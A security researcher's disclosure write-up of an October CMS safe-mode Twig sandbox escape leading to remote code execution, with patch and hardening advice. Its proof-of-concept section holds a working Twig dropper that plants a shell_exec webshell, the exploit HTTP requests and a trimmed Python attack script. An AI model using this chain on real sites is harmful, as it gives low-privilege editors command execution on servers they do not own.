chu@antisec:~/research$

← ../ octobercms-safemode-sandbox-rce

chu@antisec:~/research$ cat octobercms-safemode-sandbox-rce

october cms — safe-mode twig sandbox escape → rce · a bypass of the cve-2026-22692 fix

october's cms.safe_mode has one job: let semi-trusted backend users edit template markup without ever running server-side php. the proxy that enforces it, SafeCollection, strips callables from collection method arguments — but only at the top level. laravel's Collection::sortBy() happily accepts an array of comparisons, so a callable hidden as [[['Class','method']]] sails past the filter and gets invoked with two attacker-controlled strings. point it at File::put() and you have an arbitrary file write; and since checkSafeMode() only runs at save time, a .htm written straight to disk with a php code section is never inspected — request it and it runs. safe-mode off, rce as www-data, from an ordinary content-editor account. it's a bypass of the cve-2026-22692 fix; the vendor tracked it as ghsa-8rgj-g632-3qfp and shipped the fix in 4.2.25.


the bug

a callable one level too deep

safe mode has two jobs: block the php code section of cms templates, and render the remaining twig through a sandbox, System\Twig\SecurityPolicy. the policy is permissive everywhere except method calls — it allow-lists every method on a handful of framework classes, Illuminate\Support\Collection among them. to keep the obvious collection.map('system') from working, october casts the receiver of each method call to a safe proxy: a Collection becomes a SafeCollection that nulls callable arguments. and collect() stays available in safe mode, so an attacker can build a SafeCollection whose items they fully control. that proxy is the whole wall.

● SafeCollection.php php · the wall, modules/system/twig/securitypolicy/
// __call() — every allow-listed collection method funnels through here
public function __call($method, $parameters)
{
    if (in_array($method, $this->blockedMethods)) {  // mapInto / pipeInto / toResourceCollection
        return $this;                                // no-op'd since cve-2026-22692
    }

    foreach ($parameters as &$param) {
        if (
            is_callable($param) &&                   // <-- TOP-LEVEL check only
            (!in_array($method, $this->hybridCallableArgs) || !is_string($param))
        ) {
            $param = null;                           // callables get nulled
        }
    }

    return $this->forwardCallTo($this->collection, $method, $parameters);
}

the guard walks each argument and nulls anything is_callable() flags — applied to the argument as a whole, never recursing into arrays. a direct map('system') is correctly killed. but is_callable([[['Class','method']]]) is false: the outer value is a one-element array, not a [target, method] pair. a callable buried one level deeper is never stripped.

laravel, meanwhile, ships a method that will call one. sortBy() accepts an array of comparisons; an array that isn't itself callable routes to sortByMany(), whose comparator invokes whatever sits at $comparison[0] when it's a non-string callable — with two collection items as arguments.

● Collection.php php · vendor/laravel/framework · the other half
// :1586
public function sortBy($callback, $options = SORT_REGULAR, $descending = false)
{
    if (is_array($callback) && ! is_callable($callback)) {  // [[['Class','m']]] -> not callable
        return $this->sortByMany($callback, $options);      // -> multi-comparison path
    } ...
}

// :1623
protected function sortByMany(array $comparisons = [], int $options = SORT_REGULAR)
{
    $items = $this->items;
    uasort($items, function ($a, $b) use ($comparisons, $options) {
        foreach ($comparisons as $comparison) {
            $comparison = Arr::wrap($comparison);
            $prop = $comparison[0];                       // = ['Class','method'] — smuggled
            if (! is_string($prop) && is_callable($prop)) {
                $result = $prop($a, $b);                    // INVOKED with attacker items
            } ...

put the two halves together and a single expression in sandboxed markup yields an arbitrary Class::method(string, string):

● the escape primitive twig · cms page markup, safe mode on
{{ collect(['A','B']).sortBy([[['Illuminate\\Support\\Facades\\Log','info']]]) }}
{# => Log::info('A','B') — the callable was never stripped; sortByMany invoked it #}
  safe-mode twig markup
      │   {{ collect([...]).sortBy([[['Class','method']]]) }}
      ▼
  SecurityPolicy allow-list — Collection methods pass
      │   castMethodObjectToSafeObject: Collection → SafeCollection
      ▼
  SafeCollection::__call — is_callable([[['Class','method']]]) === false
      │   top-level check only; the nested pair survives
      ▼
  Collection::sortByMany — $comparison[0] is callable → $prop($a, $b)
      │   Class::method(item0, item1), both attacker-controlled
      ▼
  File::put(path, '<?php … ?>') → .htm with a php code section on disk
      │   checkSafeMode() runs at SAVE time only — never saw this file
      ▼
  GET /poc-shell → CodeParser compiles onStart() → rce as www-data
fig 01 — from one twig expression to code execution. four hops, none of them exotic.

why the cve-2026-22692 fix didn't cover this

the blocklist stopped at mapInto

cve-2026-22692 (ghsa-m5qg-jc75-4jp6) was fixed by adding SafeCollection and putting mapInto on its blocklist (v3.7.13 / v4.1.5). for top-level arguments that fix works fine — verified: the naive callable gets nulled and the call dies with a type error. the gap is that any collection method accepting arrays containing callables puts the primitive right back. sortBy/sortByDesc, through sortByMany, are the ones used here; the general audit is "every method that Arr::wrap()s an argument and then treats element 0 as a callable". patching the method list is whack-a-mole by construction.

there's a second gap in the same spirit: the safe cast only wraps three receiver types — Collection, Session\Store and Request. other allow-listed classes that hand a callable to an inner collection aren't wrapped at all; AbstractPaginator::through() and ComponentAttributeBag::filter() both look like the same bug waiting in a different room.

the pieces are older than the advisory window, too. SafeCollection, with its top-level-only filter, has been in october/rain since v3.5.0 and has never blocked sortBy; the collect() helper and the receiver cast the chain relies on landed in october/october at v4.0.0; and at v4.2.21 the class moved to System\Twig\SecurityPolicy\SafeCollection. the published advisory scopes it as ≥ 4.2.0, < 4.2.25, and that's the range to patch against. confirmed dynamically on 4.2.24, the latest release at report time.


poc

4.2.24 · safe_mode=true · trimmed

target: a clean october cms 4.2.24 install with cms.safe_mode = true. starting point: an authenticated low-privilege content editor — editor.cms_pages only, no php/developer permission, no superuser. every request goes through burp; the chain below is trimmed, and no credentials are published here. run things like this only against an install you own.

October CMS backend logged in as the content editor: the top menu shows only Editor, with no Settings or Administrators
fig 02 — the attacker's session: the menu shows only the cms editor. no settings, no administrators. exactly the account safe mode exists to contain.

step 1 — sign in as the content editor through the backend form (csrf and all). an ordinary account an operator would hand to any content person.

Burp Repeater: POST to the backend auth signin endpoint returns HTTP 302 to the backend, session established
fig 03 — step 1: the signin comes back 302 to the backend. nothing privileged about this session — that's the point.

step 2 — save a cms page through the backend editor api, sending only markup. twig is allowed in safe mode; the php code section is the only thing the save-time check inspects, and there isn't one. the markup is the dropper: it uses the escape with the File::put gadget to plant a second page that does carry a php code section.

● step2-save.http http · markup only, nothing for the check to see
POST /admin/editor HTTP/1.1
X-AJAX-HANDLER: onCommand
X-CSRF-TOKEN: <csrf>

extension=cms&command=onSaveDocument
&documentMetadata[type]=cms-page&documentMetadata[theme]=demo
&documentData[fileName]=poc-dropper.htm&documentData[settings][url]=/poc-dropper
&documentData[markup]=<the dropper twig below>

HTTP/1.1 200 OK
● documentData[markup] twig · the dropper
{% set nl = "\n" %}{% set eq = "==" %}
{% set php = '<?php' ~ nl ~ 'function onStart() { return Response::make("POC-OUT-START".shell_exec($_SERVER["HTTP_X_POC_CMD"] ?? "id")."POC-OUT-END"); }' ~ nl ~ '?>' %}
{% set body = 'url = "/poc-shell"' ~ nl ~ eq ~ nl ~ php ~ nl ~ eq ~ nl ~ 'webshell' ~ nl %}
{% set r = collect(['<webroot>/themes/demo/pages/poc-shell.htm', body])
    .sortBy([[['Illuminate\\Support\\Facades\\File', 'put']]]) %}
DROPPER-OK
{# the "==" separators are built as twig strings so SectionParser never splits the outer template #}
Burp Repeater: POST /admin/editor with X-AJAX-HANDLER onCommand and documentData[markup] saves the CMS page, server returns HTTP 200
fig 04 — step 2: the page saves clean, 200. safe mode has no objection — markup is what it's for.

step 3 — render the dropper. the sandbox escape calls File::put() and the webshell page lands on disk.

Burp Repeater: GET /poc-dropper returns HTTP 200 DROPPER-OK; the sandbox escape ran File::put
fig 05 — step 3: GET /poc-dropper → 200 DROPPER-OK. the write happened inside the sandbox that was supposed to make it impossible.

step 4 — the dropped page's php code section was written, not saved, so no model ever ran checkSafeMode() on it. requesting it executes.

● step4-rce.http http · write ≠ save ≠ checked
GET /poc-shell HTTP/1.1
X-POC-CMD: id

HTTP/1.1 200 OK
POC-OUT-STARTuid=33(www-data) gid=33(www-data) groups=33(www-data)POC-OUT-END
Burp Repeater: GET /poc-shell with header X-POC-CMD: id returns uid=33(www-data) wrapped in POC-OUT markers
fig 06 — step 4: id comes back as uid=33(www-data). code execution as the web user, from a content-editor login.

the whole chain, automated — sign in, save the dropper, trigger it, run a command — in poc_october_safemode_rce.py. trimmed to the parts that matter:

● poc_october_safemode_rce.py python · trimmed
#!/usr/bin/env python3
# poc_october_safemode_rce.py — october cms safe-mode sandbox escape → rce (< 4.2.25)
# trimmed; the full script ships with the advisory. target installs you own only.

# the dropper: plain twig MARKUP, no php `code` section — the save-time
# safe-mode check only inspects `code`, so the page saves cleanly.
DROPPER_MARKUP = r'''{% set nl = "\n" %}
{% set eq = "==" %}
{% set php = '<?php' ~ nl ~ 'function onStart() { return Response::make("POC-OUT-START".shell_exec($_SERVER["HTTP_X_POC_CMD"] ?? "id")."POC-OUT-END"); }' ~ nl ~ '?>' %}
{% set body = 'url = "/poc-shell"' ~ nl ~ eq ~ nl ~ php ~ nl ~ eq ~ nl ~ 'webshell' ~ nl %}
{% set r = collect(['<webroot>/themes/demo/pages/poc-shell.htm', body])
    .sortBy([[['Illuminate\\Support\\Facades\\File', 'put']]]) %}
DROPPER-OK
'''

# 1 — authenticate as a low-priv cms editor (backend signin form + csrf)
# 2 — save the dropper through the backend editor api (markup only)
# 3 — GET the dropper → the escape invokes File::put → the shell page is on disk
s.get(f"{base}/{dropper_url}")

# 4 — the dropped page's php code section was written, not saved: never checked
r = s.get(f"{base}/{shell_url}", headers={"X-POC-CMD": "id"})
out = re.search(r"POC-OUT-START(.*?)POC-OUT-END", r.text, re.S).group(1)
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
# → REMOTE CODE EXECUTION CONFIRMED
Automated PoC console with --cmd 'id': the full four-step chain then uid=33(www-data), REMOTE CODE EXECUTION CONFIRMED
fig 07a — the automated chain end to end with --cmd 'id': login, save, escape, rce.
Automated PoC console with --cmd 'env | grep SAFE': returns CMS_SAFE_MODE=true
fig 07b — same chain, --cmd 'env | grep SAFE' → CMS_SAFE_MODE=true. the rce ran with safe mode on.

the contrast that proves the sandbox was genuinely active, not accidentally off: the naive collect(['x']).map('system') is correctly blocked — the callable gets nulled — and env()/config() are pulled from twig in safe mode. only the nested sortBy form slips through.

Burp Repeater: collect(['x']).map('system') returns HTTP 500, Argument #1 ($callback) must be of type callable, null given
fig 08 — control test: map('system') → 500, Argument #1 ($callback) must be of type callable, null given. the proxy did its job at the top level. that's the only level it does it at.

impact

editor.cms_pages → www-data

gadget generality: File::put is just the gadget used here — any (string, string) method that does something useful (a writer, a mailer, a query runner) works the same, so a patch limited to File::put would have been theatre. october's 4.2.25 fix strips callables recursively instead, which is the right shape. same sandbox, third escape: cve-2023-44382, cve-2026-22692 — whose fix this bypasses — and now ghsa-8rgj-g632-3qfp. that pattern points at the allow-list-then-subtract design, not at any single method. distinct from cve-2026-26274 (the db-write safe-mode bypass) and the twig-core cve-2026-24425 (the |sort/|filter/|map/|reduce filters under a SourcePolicyInterface); this one rides the .sortBy() method. october rates it low — safe mode is opt-in, and where it's off a markup editor can run php by design. fair. but for installs that switched safe mode on precisely to contain editors, the control fails all the way to code execution; scored here as cvss 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). the label was never the interesting part.


disclosure timeline

coordinated · closed

remediation

4.2.25 closes it

if you run october cms

  • upgrade to 4.2.25 or later. the recursive callable strip in SafeCollection is the actual fix — nothing short of it closes this.
  • treat cms template-editing permissions (editor.cms_pages and siblings) as developer-level trust, safe mode on or not. don't hand them to users you wouldn't hand a shell.
  • hunt: templates containing sortBy( with nested arrays, unexpected new .htm files in theme directories, writes outside the theme tree.

if you maintain a sandbox

  • strip callables recursively, or reject any argument containing a callable at any depth. a top-level check is a suggestion, not a filter.
  • explicitly neutralize the array-of-comparisons forms (sortBy / sortByDesc via sortByMany).
  • treat the allow-list as deny-by-default: wrap or refuse every allow-listed class that can hand a callable to an inner collection — AbstractPaginator::through() and ComponentAttributeBag::filter() are the same gap one room over.
  • enforce safe mode at render time in CodeParser too: refuse to compile a non-empty php code section while it's on, so a stray on-disk .htm can't execute on its own, independent of any sandbox bug.
● the 4.2.25 shape php · conceptual
function stripCallables($value) {
    if (is_callable($value)) return null;
    if (is_array($value)) return array_map([$this, 'stripCallables'], $value);  // recurse
    return $value;
}
// applied to every argument in SafeCollection::__call() before the forward —
// a callable can't reach sortByMany() however deeply it's nested

credit: found and reported by chu, june 2026 — credited by the vendor as repo4chu on ghsa-8rgj-g632-3qfp, fix shipped in 4.2.25. reported privately through github's coordinated vulnerability reporting; no exploit details went public before the patch. the advisory is ghsa-only, no cve assigned. questions → contact.